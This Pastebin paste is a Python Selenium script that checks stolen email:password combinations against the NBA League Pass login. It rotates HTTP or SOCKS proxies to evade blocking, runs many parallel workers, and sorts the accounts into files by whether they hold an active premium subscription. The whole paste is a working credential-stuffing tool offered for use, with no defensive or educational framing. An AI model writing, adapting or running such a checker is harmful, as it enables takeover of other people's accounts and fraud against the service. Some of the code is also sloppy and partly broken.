Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from multiprocessing import Pool, TimeoutError
- from multiprocessing import Queue
- import time
- import os
- import time
- import random
- from selenium import webdriver
- from selenium.common.exceptions import WebDriverException
- from selenium.webdriver.firefox.options import Options
- from selenium.common.exceptions import TimeoutException
- from selenium.webdriver.support import expected_conditions as EC
- from selenium.webdriver.support.ui import WebDriverWait
- from functools import partial
- options = Options()
- options.add_argument('-headless')
- working = Queue(maxsize=0)
- notworking = Queue(maxsize=0)
- notlogginin = Queue(maxsize=0)
- recheck = Queue(maxsize=0)
- threads = []
- workingx1 = []
- notworkingx1 = []
- notloggininx1 = []
- recheckx1 = []
- driver=webdriver
- def check(line, var):
- global working,notworking,notlogginin,recheck
- print('Checking : ' + line)
- r = line.split(":")
- proxy = random.choice(list(open('proxies.txt')))
- m = proxy.split(":")
- fp = driver.FirefoxProfile()
- if var == 1:
- var = 1
- elif var == 2:
- fp.set_preference("network.proxy.type", 1)
- fp.set_preference("network.proxy.http", m[0]) # HTTP PROXY
- fp.set_preference("network.proxy.http_port", int(m[1]))
- fp.set_preference("network.proxy.ssl", m[0]) # SSL PROXY
- fp.set_preference("network.proxy.ssl_port", int(m[1]))
- elif var == 3:
- fp.set_preference("network.proxy.type", 1)
- fp.set_preference('network.proxy.socks', m[0]) # SOCKS PROXY
- fp.set_preference('network.proxy.socks_port', int(m[1]))
- fp.update_preferences()
- browser = driver.Firefox(firefox_profile=fp) # , firefox_options=options
- browser.set_page_load_timeout(20)
- try:
- browser.get(
- "https://secure.nba.com/membership/leaguepass/user/login/?nbaMembershipRedirectExternalUrl=https://account.nba.com/ssoentrypage?redirect=myaccount/orders")
- except WebDriverException:
- recheck.put(line)
- print('proxy issue :' + proxy + '. added ' + line + ' to recheck.txt')
- else:
- print("Logging in...")
- time.sleep(1)
- username = browser.find_element_by_id("nbaMembershipEmailAddress")
- password = browser.find_element_by_id("nbaMembershipPassword")
- username.send_keys(r[0])
- password.send_keys(r[1])
- login_attempt = browser.find_element_by_xpath("//*[@type='submit']")
- login_attempt.submit()
- title = 'NBA LEAGUE PASS'
- try:
- WebDriverWait(browser, 20).until_not(EC.title_is(title))
- except TimeoutException as ex:
- notlogginin.put(line)
- print('Account type : Unable to login')
- else:
- browser.get("https://account.nba.com/myaccount/orders")
- time.sleep(3)
- browser.find_element_by_tag_name('BODY').send_keys("Keys.ESCAPE")
- text = "<strong>Active</strong>"
- if (text in browser.page_source):
- working.put(line)
- print('Account type : Premium')
- else:
- notworking.put(line)
- print("Account type : Normal")
- finally:
- print("checked " + line)
- finally:
- browser.quit()
- return
- if __name__ == '__main__':
- var = int(input("enter \n1 for no proxy \n2 for http\n3 for socks : "))
- thrcount = int(input("Total threads : "))
- accs = []
- global working,notworking,notlogginin,recheck
- pool = Pool(processes=thrcount) # start 4 worker processes
- with open('accs.txt') as f:
- for line in f:
- accs.append(line)
- n=pool.map(partial(check, var=var), accs)
- print('*****************'+notworking.get()+'*****************')
- pool.close()
- pool.join()
- worktextf = open('work.txt', 'a')
- notworktextf = open('notwork.txt', 'a')
- nologintextf = open('no-login.txt', 'a')
- rechecktextf = open('recheck.txt', 'a')
- while not working.empty():
- print('OMFG PRINT SOMETHING')
- worktextf.write(working.get())
- while not notworking.empty():
- print('OMFG PRINT SOMETHING')
- notworktextf.write(notworking.get())
- while not notlogginin.empty():
- print('OMFG PRINT SOMETHING')
- nologintextf.write(notlogginin.get())
- while not recheck.empty():
- print('OMFG PRINT SOMETHING')
- rechecktextf.write(recheck.get())
- worktextf.close()
- notworktextf.close()
- nologintextf.close()
- rechecktextf.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement